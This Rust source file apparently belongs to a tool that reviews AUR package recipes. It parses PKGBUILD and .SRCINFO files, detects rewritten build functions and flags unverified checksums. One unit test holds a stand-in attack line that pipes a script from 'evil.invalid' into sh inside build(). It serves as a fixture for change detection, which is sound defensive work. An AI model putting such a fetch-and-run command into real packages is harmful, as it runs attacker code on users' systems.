use std::collections::BTreeMap; use crate::db::model::{Recipe, SourceEntry}; use crate::error::{Error, Result}; /// Parse `.SRCINFO`. Sections are `pkgbase = X` followed by `key = value` lines, /// then one `pkgname = Y` section per emitted package. pub fn parse_srcinfo(text: &str) -> Result { let mut r = Recipe::default(); let mut current: Option = None; // Some(pkgname) when inside a pkgname section let mut base_seen = false; for line in text.lines() { let line = line.trim_end(); if line.is_empty() { continue; } let indented = line.starts_with('\t') || line.starts_with(' '); let (k, v) = match line.split_once('=') { Some((k, v)) => (k.trim().to_string(), v.trim().to_string()), None => continue, }; if !indented { if k == "pkgbase" { r.pkgbase = v; base_seen = true; current = None; } else if k == "pkgname" { current = Some(v.clone()); r.pkgnames.push(v.clone()); r.pkg_depends.push((v, Vec::new())); } continue; } if !base_seen { return Err(Error::invalid(".SRCINFO has no pkgbase line")); } let in_pkg = current.is_some(); push_field(&mut r, in_pkg, current.as_deref(), &k, &v); } if r.pkgnames.is_empty() { r.pkgnames.push(r.pkgbase.clone()); let deps = r.depends.clone(); r.pkg_depends.push((r.pkgbase.clone(), deps)); } r.srcinfo = Some(text.to_string()); r.source_entries = parse_source_entries(&r.source)?; Ok(r) } #[allow(clippy::too_many_arguments)] fn push_field(r: &mut Recipe, in_pkg: bool, pkg: Option<&str>, k: &str, v: &str) { // Fields that belong to the base only are ignored inside pkgname sections. match k { "pkgver" if !in_pkg => r.pkgver = v.into(), "pkgrel" if !in_pkg => r.pkgrel = v.into(), "epoch" if !in_pkg => r.epoch = v.into(), "pkgdesc" => r.pkgdesc = v.into(), "url" if !in_pkg => r.url = v.into(), "arch" => r.arch.push(v.into()), "license" => r.license.push(v.into()), "groups" => r.groups.push(v.into()), "depends" => { r.depends.push(v.into()); if let Some(p) = pkg { if let Some((_, d)) = r.pkg_depends.iter_mut().find(|(n, _)| n == p) { d.push(v.into()); } } } "makedepends" => r.makedepends.push(v.into()), "checkdepends" => r.checkdepends.push(v.into()), "optdepends" => r.optdepends.push(v.into()), "provides" => r.provides.push(v.into()), "conflicts" => r.conflicts.push(v.into()), "source" => r.source.push(v.into()), "sha256sums" => r.sha256sums.push(v.into()), "b2sums" => r.b2sums.push(v.into()), "validpgpkeys" => r.validpgpkeys.push(v.into()), "options" => r.options.push(v.into()), "backup" => r.backup.push(v.into()), "install" => r.install = Some(v.into()), _ => {} } } /// Minimal `PKGBUILD` variable reader: top-level `var=value` and `var=(...)` /// assignments, including arrays spanning several lines and quoted elements. /// /// A fallback for recipes without `.SRCINFO`; it deliberately does not evaluate /// bash. Anything it cannot read is reported, not guessed. pub fn parse_pkgbuild(text: &str) -> Result { let vars = pkgbuild_vars(text); let mut r = Recipe::default(); let get = |k: &str| vars.get(k).cloned().unwrap_or_default(); r.pkgbase = get("pkgbase").into_iter().next().unwrap_or_default(); if r.pkgbase.is_empty() { // A PKGBUILD without pkgbase emits one package named pkgname[0]. r.pkgbase = get("pkgname").into_iter().next().unwrap_or_default(); } if r.pkgbase.is_empty() { return Err(Error::invalid("PKGBUILD declares no pkgbase or pkgname")); } r.pkgver = get("pkgver").into_iter().next().unwrap_or_default(); r.pkgrel = get("pkgrel").into_iter().next().unwrap_or_default(); r.epoch = get("epoch").into_iter().next().unwrap_or_default(); if r.epoch.is_empty() { r.epoch = "0".into(); } if r.pkgver.is_empty() { return Err(Error::invalid("PKGBUILD declares no pkgver")); } if r.pkgrel.is_empty() { r.pkgrel = "1".into(); } r.pkgdesc = get("pkgdesc").into_iter().next().unwrap_or_default(); r.url = get("url").into_iter().next().unwrap_or_default(); r.arch = get("arch"); r.license = get("license"); r.groups = get("groups"); r.depends = get("depends"); r.makedepends = get("makedepends"); r.checkdepends = get("checkdepends"); r.optdepends = get("optdepends"); r.provides = get("provides"); r.conflicts = get("conflicts"); r.source = get("source"); r.sha256sums = get("sha256sums"); r.b2sums = get("b2sums"); r.validpgpkeys = get("validpgpkeys"); r.options = get("options"); r.backup = get("backup"); r.install = get("install").into_iter().next(); let pkgnames = get("pkgname"); r.pkgnames = if pkgnames.is_empty() { vec![r.pkgbase.clone()] } else { pkgnames.clone() }; r.pkg_depends = r .pkgnames .iter() .map(|n| (n.clone(), r.depends.clone())) .collect(); r.skipgpcheck = text.contains("--skippgpcheck"); r.pkgbuild = text.to_string(); r.source_entries = parse_source_entries(&r.source)?; Ok(r) } /// Extract top-level assignments from a PKGBUILD. fn pkgbuild_vars(text: &str) -> BTreeMap> { let mut out: BTreeMap> = BTreeMap::new(); let mut lines = text.lines().peekable(); while let Some(line) = lines.next() { let t = line.trim_start(); if t.starts_with('#') || t.is_empty() { continue; } // Stop at the first function definition: variables inside functions are // not part of the recipe metadata we diff. if t.contains("()") && t.contains('{') { break; } let Some((name, rest)) = split_assign(t) else { continue }; let rest = rest.trim(); if let Some(inner) = rest.strip_prefix('(') { // Array: may close on this line or later ones. let mut buf = String::from(inner); while !buf.contains(')') { match lines.next() { Some(l) => { buf.push(' '); buf.push_str(l.trim()); } None => break, } } let inner = buf.split(')').next().unwrap_or(&buf).to_string(); out.entry(name).or_default().extend(split_array_elements(&inner)); } else { let v = unquote(rest); if !v.is_empty() { out.entry(name).or_default().push(v); } } } out } /// `name=value` where the line is an assignment (no spaces before `=`). fn split_assign(t: &str) -> Option<(String, String)> { let (name, rest) = t.split_once('=')?; let name = name.trim(); if name.is_empty() || !name .chars() .next() .is_some_and(|c| c.is_ascii_alphabetic() || c == '_') || !name.chars().all(|c| c.is_ascii_alphanumeric() || c == '_') { return None; } // `foo[1]=x` and similar are not metadata. if name.contains('[') { return None; } Some((name.to_string(), rest.to_string())) } fn unquote(s: &str) -> String { let s = s.trim(); let s = s.strip_prefix('"').unwrap_or(s); let s = s.strip_suffix('"').unwrap_or(s); let s = s.strip_prefix('\'').unwrap_or(s); s.strip_suffix('\'').unwrap_or(s).to_string() } /// Split `(a "b c" 'd e')` into elements. fn split_array_elements(s: &str) -> Vec { let mut out = Vec::new(); let mut cur = String::new(); let mut quote: Option = None; let mut pushed = false; for c in s.chars() { match quote { Some(q) => { if c == q { quote = None; } else { cur.push(c); } } None => match c { '\'' | '"' => quote = Some(c), c if c.is_whitespace() => { if !cur.is_empty() { out.push(std::mem::take(&mut cur)); } pushed = true; } c => { cur.push(c); pushed = false; } }, } } let _ = pushed; if !cur.is_empty() { out.push(cur); } out.into_iter().filter(|e| !e.is_empty()).collect() } /// Parse `source=()` entries into structured form (§5.2 needs the VCS refs, /// §5.3 needs the kind of each entry). pub fn parse_source_entries(list: &[String]) -> Result> { let mut out = Vec::new(); for (index, raw) in list.iter().enumerate() { let s = raw.trim(); if s.is_empty() { return Err(Error::invalid("empty source entry")); } // `filename::url` (filename first, per makepkg). let (filename, url) = match s.split_once("::") { Some((f, u)) => (Some(f.to_string()), u.to_string()), None => (None, s.to_string()), }; let (url, frag) = match url.split_once('#') { Some((u, f)) => (u.to_string(), Some(f.to_string())), None => (url.clone(), None), }; let (vcs, clean) = match url.split_once('+') { Some((scheme, rest)) if ["git", "svn", "hg", "bzr", "fossil"].contains(&scheme) => { (Some(scheme.to_string()), rest.to_string()) } _ => (None, url.clone()), }; let mut commit = None; let mut tag = None; let mut branch = None; if let Some(f) = frag { for pair in f.split('&') { let (k, v) = match pair.split_once('=') { Some((k, v)) => (k, v), None => continue, }; match k { "commit" => commit = Some(v.to_string()), "tag" => tag = Some(v.to_string()), "branch" => branch = Some(v.to_string()), _ => {} } } } let local = vcs.is_none() && !clean.contains("://"); let filename = filename.or_else(|| { if local { clean.rsplit('/').next().map(|s| s.to_string()) } else { None } }); out.push(SourceEntry { index, url: clean, filename, commit, tag, branch, vcs, local, }); } Ok(out) } /// Build a recipe from a materialized AUR tree. /// /// `.SRCINFO` wins when present — it is what `makepkg` itself reports and every /// real AUR repo ships it. Otherwise we fall back to reading the `PKGBUILD`. pub fn recipe_from_tree(files: &BTreeMap) -> Result { let pkgbuild_path = files .keys() .find(|k| k.ends_with("PKGBUILD")) .cloned() .ok_or_else(|| Error::invalid("snapshot tree contains no PKGBUILD"))?; let pkgbuild = files.get(&pkgbuild_path).cloned().unwrap_or_default(); let mut r = match files.iter().find(|(k, _)| k.ends_with(".SRCINFO")) { Some((_, srcinfo)) => parse_srcinfo(srcinfo)?, None => parse_pkgbuild(&pkgbuild)?, }; if r.pkgbuild.is_empty() { r.pkgbuild = pkgbuild; } if r.pkgbase.is_empty() { return Err(Error::invalid("recipe has no pkgbase")); } Ok(r) } /// Text files we render diffs for (§6 "recipe diff" panel). pub fn is_diffable(path: &str) -> bool { let ext = path.rsplit('.').next().unwrap_or(""); !matches!( ext, "png" | "jpg" | "gif" | "ico" | "pdf" | "gz" | "zst" | "xz" | "bz2" | "zip" | "deb" | "rpm" ) } /// The executable part of a `PKGBUILD`: everything from the first function /// definition onward. /// /// The assignments above the functions are metadata; the functions are code that runs /// here and, through the package, everywhere it installs. /// scorer need that line drawn in the same place (§6 m-2). pub fn pkgbuild_bodies(text: &str) -> String { let mut out = String::new(); let mut inside = false; for line in text.lines() { let t = line.trim_start(); if t.starts_with("build()") || t.starts_with("package") || t.starts_with("prepare()") || t.starts_with("check()") { inside = true; } if inside { out.push_str(t); out.push('\n'); } } out } /// True when the diff touches a function body rather than only the assignments /// above them. pub fn bodies_changed(old_src: &str, new_src: &str) -> bool { pkgbuild_bodies(old_src) != pkgbuild_bodies(new_src) } /// `sha256sums=('SKIP')`: the recipe declining to verify a source (§5.3). pub const SKIP: &str = "SKIP"; /// The checksum a recipe declares for source entry `index`, `sha256sums` first /// and `b2sums` second; `None` when the recipe declares nothing for it. pub fn declared_sums(recipe: &Recipe, index: usize) -> Option { recipe .sha256sums .get(index) .or_else(|| recipe.b2sums.get(index)) .map(|s| s.trim().to_string()) .filter(|s| !s.is_empty()) } /// True when a declared checksum is an actual hex digest of the length we /// expect, rather than `SKIP` or a typo a maintainer left behind. pub fn is_hex_digest(s: &str) -> bool { (s.len() == 64 || s.len() == 128) && s.chars().all(|c| c.is_ascii_hexdigit()) } /// The non-VCS sources the recipe refuses to verify (§5.3): `SKIP`, a malformed /// digest, or no digest at all. A question about the *recipe*, so it lives with /// the recipe — the watcher and the risk scorer both ask it, and neither should /// own the answer. pub fn skip_on_non_vcs(recipe: &Recipe) -> Vec { recipe .source_entries .iter() .filter(|e| !e.is_vcs()) .filter(|e| match declared_sums(recipe, e.index) { Some(d) => d == SKIP || !is_hex_digest(&d), None => true, }) .map(|e| e.index) .collect() } #[cfg(test)] mod tests { #[test] fn a_rewritten_body_is_a_change_even_when_the_functions_are_named() { // The drift this pins (§6 m-2): the diff panel used to compare only the // function *header* lines, so a `build()` whose body was rewritten to // `curl | sh` looked unchanged to the reviewer while the risk scorer, // with its own copy of the rule, said otherwise. let before = "pkgver=1.0\nbuild() {\n make\n}\npackage() {\n make install\n}\n"; let after = "pkgver=1.0\nbuild() {\n curl https://evil.invalid/x.sh | sh\n}\npackage() {\n make install\n}\n"; assert!(bodies_changed(before, after), "a rewritten build() body must read as code changing"); assert!(!bodies_changed(before, before)); // Metadata above the functions is not code. let bumped = "pkgver=2.0\nbuild() {\n make\n}\npackage() {\n make install\n}\n"; assert!(!bodies_changed(before, bumped), "a version bump is not a code change"); } #[test] fn bodies_start_at_the_first_function_and_run_to_the_end() { let text = "pkgver=1.0\nsource=(x)\nbuild() {\n make\n}\n"; assert_eq!(pkgbuild_bodies(text), "build() {\nmake\n}\n", "each line is trimmed, the bodies are compared as text"); assert_eq!(pkgbuild_bodies("pkgver=1.0\n"), ""); } use super::*; #[test] fn pkgbuild_arrays_span_lines_and_quotes() { let r = parse_pkgbuild( r#"# comment pkgbase=foo pkgver=1.0 pkgrel=2 pkgdesc="a package" arch=(x86_64) depends=('glibc' openssl zlib) source=(git+https://example.invalid/foo.git fix.patch::https://example.invalid/fix.patch) sha256sums=('SKIP' 'abc') build() { local pkgver=not-this } "#, ) .unwrap(); assert_eq!(r.pkgbase, "foo"); assert_eq!(r.full_version(), "1.0-2"); assert_eq!(r.depends, vec!["glibc", "openssl", "zlib"]); assert_eq!(r.source.len(), 2); assert_eq!(r.sha256sums, vec!["SKIP", "abc"]); assert_eq!(r.pkgnames, vec!["foo"]); } #[test] fn source_entries_carry_kind_and_refs() { let e = parse_source_entries(&[ "git+https://github.com/foo/bar.git#commit=deadbeef".into(), "git+https://github.com/foo/bar.git#branch=next".into(), "hg+https://example.invalid/x".into(), "name::https://example.invalid/file.tar.gz".into(), "local.patch".into(), ]) .unwrap(); assert_eq!(e[0].vcs.as_deref(), Some("git")); assert_eq!(e[0].commit.as_deref(), Some("deadbeef")); assert_eq!(e[0].url, "https://github.com/foo/bar.git"); assert_eq!(e[1].branch.as_deref(), Some("next")); assert_eq!(e[2].vcs.as_deref(), Some("hg")); assert_eq!(e[3].filename.as_deref(), Some("name")); assert!(!e[3].local); assert!(e[4].local); assert_eq!(e[4].filename.as_deref(), Some("local.patch")); } #[test] fn srcinfo_sections_describe_split_pkgbases() { let r = parse_srcinfo( "pkgbase = foo\n\tpkgver = 1.0\n\tpkgrel = 1\n\tmakedepends = cmake\n\tsource = x.tar\n\tsha256sums = SKIP\npkgname = foo\n\tdepends = glibc\npkgname = foo-lua\n\tdepends = lua\n", ) .unwrap(); assert_eq!(r.pkgbase, "foo"); assert_eq!(r.pkgnames, vec!["foo", "foo-lua"]); assert_eq!(r.makedepends, vec!["cmake"]); assert_eq!(r.pkg_depends[1].1, vec!["lua"]); } #[test] fn a_recipe_without_a_version_is_an_error_not_a_guess() { assert!(parse_pkgbuild("pkgbase=foo\n").is_err()); } }